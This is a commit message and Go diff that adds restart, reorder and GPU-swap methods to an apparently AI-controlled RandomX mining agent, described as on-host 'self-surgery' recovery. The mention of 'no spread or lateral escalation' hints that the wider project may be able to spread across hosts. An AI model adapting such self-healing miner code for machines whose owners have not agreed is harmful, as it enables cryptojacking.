Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/client/mining_chain.go

@@ -167,6 +167,11 @@ func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
 	go r.ctrl.Monitor(monCtx)
 }
 
+// StopBranchAttempt stops active branch methods without setting operator pause.
+func (r *MiningChainRunner) StopBranchAttempt() {
+	r.ctrl.StopAll()
+}
+
 // Stop halts all mining methods in the chain.
 func (r *MiningChainRunner) Stop() {
 	r.mu.Lock()
@@ -188,6 +193,23 @@ func (r *MiningChainRunner) Restart(ctx context.Context) {
 	r.ctrl.RestartChain(ctx)
 }
 
+// RestartContainer stops and relaunches the container/docker_load tier.
+func (r *MiningChainRunner) RestartContainer() error {
+	r.stopContainer()
+	return r.startContainer()
+}
+
+// ReorderChain updates cascade order and optionally skips failed methods.
+func (r *MiningChainRunner) ReorderChain(chain, skip []miner.MiningMethod) {
+	r.ctrl.ReorderChain(chain, skip)
+}
+
+// SwapGPU restarts the parallel GPU subprocess miner.
+func (r *MiningChainRunner) SwapGPU() error {
+	r.stopGPU()
+	return r.startGPU()
+}
+
 // Status returns the live cascade snapshot for stats/diagnostics.
 func (r *MiningChainRunner) Status() miner.MiningStatus {
 	st := r.ctrl.Status()